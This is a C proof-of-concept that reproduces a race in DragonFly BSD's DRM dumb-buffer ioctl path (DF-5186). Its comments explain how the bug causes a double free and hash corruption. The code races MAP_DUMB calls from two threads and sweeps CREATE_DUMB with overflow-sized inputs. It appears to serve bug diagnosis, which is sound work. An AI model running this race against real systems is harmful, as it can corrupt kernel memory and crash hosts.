/*
 * DF-5186 — race the unsynchronized legacy GEM offset-hash publication
 * reached through DRM_IOCTL_MODE_MAP_DUMB (drm_mode_mmap_dumb_ioctl,
 * sys/dev/drm/drm_dumb_buffers.c:115-130 -> drm_gem_dumb_map_offset ->
 * drm_gem_create_mmap_offset_size, sys/dev/drm/drm_gem.c:567-606).
 *
 * The ioctl is dispatched DRM_UNLOCKED|DRM_RENDER_ALLOW
 * (sys/dev/drm/drm_ioctl.c:676) so nothing serializes two concurrent
 * MAP_DUMB calls on the same fd/handle.  drm_gem_create_mmap_offset_size
 * does:  if (obj->on_map) return;  obj->map_list.key = alloc_unr();
 * drm_ht_insert_item();  obj->on_map = true;   — all lock-free.
 *
 * Observable symptom on hardware (i915 wires .dumb_map_offset =
 * i915_gem_mmap_gtt -> i915_gem_object_create_mmap_offset ->
 * drm_gem_create_mmap_offset, i915_gem.c:2600-2602):
 *   - the losing thread's drm_ht_insert_item() returns -EINVAL because
 *     the key was already inserted -> ioctl fails with EINVAL and the
 *     console shows "[drm:drm_gem_create_mmap_offset_size] *ERROR*
 *     failed to add to map hash";  the loser then free_unr()s the LIVE
 *     key (drm_gem.c:580), which is freed a second time at object
 *     teardown (drm_gem.c:541) -> unr index aliasing / delete_unrhdr
 *     panic under churn.
 *   - with the key write landing after the winner's insert, the SAME
 *     drm_hash_item gets linked into two hash buckets (cross-bucket
 *     hlist merge) — the hash that drm_gem_object_from_offset()
 *     (drm_gem.c:1063-1080) uses to resolve mmaps.
 *
 * exit codes: 0 ran (see counters), 2 no /dev/dri node, 3 no dumb support,
 *             4 usage.
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- minimal local DRM uapi (no drm headers on stock DragonFly) ---- */
struct drm_version {
	int32_t  major, minor, patch;
	size_t   name_len, date_len, desc_len;
	char    *name, *date, *desc;
};
struct drm_mode_create_dumb {
	uint32_t height, width, bpp, flags;
	uint32_t handle, pitch;
	uint64_t size;
};
struct drm_mode_map_dumb {
	uint32_t handle;
	uint32_t pad;
	uint64_t offset;
};
struct drm_mode_destroy_dumb {
	uint32_t handle;
};

#define DRM_IOCTL_VERSION		_IOWR('d', 0x00, struct drm_version)
#define DRM_IOCTL_MODE_CREATE_DUMB	_IOWR('d', 0xB2, struct drm_mode_create_dumb)
#define DRM_IOCTL_MODE_MAP_DUMB		_IOWR('d', 0xB3, struct drm_mode_map_dumb)
#define DRM_IOCTL_MODE_DESTROY_DUMB	_IOWR('d', 0xB4, struct drm_mode_destroy_dumb)

#define MAXITERS 100000

static int fd = -1;
static long iters = 20000;
static uint32_t cur_handle;
static pthread_barrier_t go_barrier, done_barrier;
static long n_ok, n_einval, n_enoent, n_other;
static pthread_mutex_t stat_lk = PTHREAD_MUTEX_INITIALIZER;

static void
count(int r)
{
	pthread_mutex_lock(&stat_lk);
	if (r == 0)
		n_ok++;
	else if (errno == EINVAL)
		n_einval++;		/* the smoking gun */
	else if (errno == ENOENT)
		n_enoent++;
	else
		n_other++;
	pthread_mutex_unlock(&stat_lk);
}

static void *
racer(void *arg)
{
	int i;

	for (i = 0; i < iters; i++) {
		struct drm_mode_map_dumb m;

		memset(&m, 0, sizeof(m));
		m.handle = cur_handle;
		pthread_barrier_wait(&go_barrier);	/* pair enters together */
		count(ioctl(fd, DRM_IOCTL_MODE_MAP_DUMB, &m));
		pthread_barrier_wait(&done_barrier);	/* pair finished */
	}
	return (NULL);
}

static int
open_drm(void)
{
	static const char *nodes[] = {
		"/dev/dri/card0", "/dev/dri/card1",
		"/dev/dri/renderD128", NULL
	};
	int i;

	for (i = 0; nodes[i]; i++) {
		fd = open(nodes[i], O_RDWR | O_CLOEXEC);
		if (fd >= 0) {
			fprintf(stderr, "[+] opened %s\n", nodes[i]);
			return (0);
		}
	}
	fprintf(stderr, "[-] no /dev/dri node available: %s\n",
	    strerror(errno));
	return (-1);
}

static int
create_dumb(uint32_t w, uint32_t h, uint32_t bpp, uint32_t *hdl)
{
	struct drm_mode_create_dumb c;
	int r;

	memset(&c, 0, sizeof(c));
	c.width = w;
	c.height = h;
	c.bpp = bpp;
	r = ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &c);
	if (r == 0)
		*hdl = c.handle;
	return (r);
}

static void
audit_create_math(void)
{
	static const struct { uint32_t w, h, bpp; const char *what; } cases[] = {
		{ 0,       64,      32, "width==0 must EINVAL" },
		{ 64,      0,       32, "height==0 must EINVAL" },
		{ 64,      64,      0,  "bpp==0 must EINVAL" },
		{ 64,      64,      33, "bpp 33 (cpp=5) sanity" },
		{ 0xFFFFFFFF, 0xFFFFFFFF, 32, "w=h=UINT32_MAX must EINVAL" },
		{ 0xFFFFFFFF, 1,       32, "width wrap must EINVAL" },
		{ 1,      0xFFFFFFFF, 32, "height wrap must EINVAL" },
		{ 1,      1,       0xFFFFFFFF, "bpp U32_MAX-... wrap must EINVAL" },
		{ 1,      1,       0xFFFFFFF8, "bpp near-max" },
	};
	uint32_t h;
	size_t i;

	printf("[audit] drm_mode_create_dumb size-math sweep (expect EINVAL on wrap rows)\n");
	for (i = 0; i < sizeof(cases) / sizeof(cases[0]); i++) {
		int r = create_dumb(cases[i].w, cases[i].h, cases[i].bpp, &h);
		int e = (r == 0) ? 0 : errno;
		printf("  w=%-10u h=%-10u bpp=%-10u -> %-3s (errno %d)  [%s]\n",
		    cases[i].w, cases[i].h, cases[i].bpp, r ? "ERR" : "OK",
		    e, cases[i].what);
		if (r == 0) {
			struct drm_mode_destroy_dumb d;
			memset(&d, 0, sizeof(d));
			d.handle = h;
			ioctl(fd, DRM_IOCTL_MODE_DESTROY_DUMB, &d);
		}
	}
}

int
main(int argc, char **argv)
{
	struct drm_version v;
	pthread_t t1, t2;
	long i;
	int r;
	uint32_t h;

	if (argc > 1)
		iters = strtol(argv[1], NULL, 0);
	if (iters > MAXITERS)
		iters = MAXITERS;
	if (iters < 1)
		iters = 1;

	if (open_drm() != 0)
		return (2);

	memset(&v, 0, sizeof(v));
	r = ioctl(fd, DRM_IOCTL_VERSION, &v);
	if (r != 0) {
		fprintf(stderr, "[-] DRM_IOCTL_VERSION: %s\n", strerror(errno));
		return (3);
	}
	printf("[+] drm core %d.%d.%d\n", v.major, v.minor, v.patch);

	/* size-math sanity of drm_mode_create_dumb itself */
	audit_create_math();

	r = create_dumb(64, 64, 32, &h);
	if (r != 0) {
		fprintf(stderr,
		    "[-] CREATE_DUMB 64x64x32 failed: %s (no dumb support)\n",
		    strerror(errno));
		return (3);
	}
	printf("[+] dumb handle %u created\n", h);

	/*
	 * Single-threaded reference mapping (post-fix behavior baseline):
	 * also record whether the returned offset is mmap-able at all.
	 */
	{
		struct drm_mode_map_dumb m;
		void *p;

		memset(&m, 0, sizeof(m));
		m.handle = h;
		if (ioctl(fd, DRM_IOCTL_MODE_MAP_DUMB, &m) != 0) {
			fprintf(stderr, "[-] single MAP_DUMB: %s\n",
			    strerror(errno));
			return (3);
		}
		printf("[+] single MAP_DUMB offset = 0x%016llx\n",
		    (unsigned long long)m.offset);
		p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED,
		    fd, (off_t)m.offset);
		if (p == MAP_FAILED)
			printf("[i] mmap(offset) failed: %s "
			    "(expected ENODEV if offset lacks the KEY bits)\n",
			    strerror(errno));
		else
			printf("[i] mmap(offset) ok at %p\n", p);
	}

	/* ---- the race: fresh object each iteration, pair-barriered MAP_DUMB ---- */
	pthread_barrier_init(&go_barrier, NULL, 3);
	pthread_barrier_init(&done_barrier, NULL, 3);
	pthread_create(&t1, NULL, racer, NULL);
	pthread_create(&t2, NULL, racer, NULL);

	uint32_t last_good = h;

	for (i = 0; i < iters; i++) {
		struct drm_mode_destroy_dumb d;

		if (create_dumb(64, 64, 32, &h) != 0) {
			/* keep the barrier protocol intact for the racers */
			cur_handle = last_good;
			pthread_barrier_wait(&go_barrier);
			pthread_barrier_wait(&done_barrier);
			continue;
		}
		last_good = h;
		cur_handle = h;
		pthread_barrier_wait(&go_barrier);	/* release the pair */
		pthread_barrier_wait(&done_barrier);	/* pair done */
		memset(&d, 0, sizeof(d));
		d.handle = h;
		ioctl(fd, DRM_IOCTL_MODE_DESTROY_DUMB, &d); /* churn idxunr */
	}
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);

	printf("[race] iters=%ld ok=%ld EINVAL=%ld ENOENT=%ld other=%ld\n",
	    iters, n_ok, n_einval, n_enoent, n_other);
	if (n_einval > 0) {
		printf("[!!] DF-5186 REPRODUCED: %ld MAP_DUMB calls failed with"
		    " EINVAL = unsynchronized offset-hash insert collision\n",
		    n_einval);
		return (0);
	}
	printf("[i] no EINVAL observed this run (race not hit or fix present)\n");
	return (0);
}
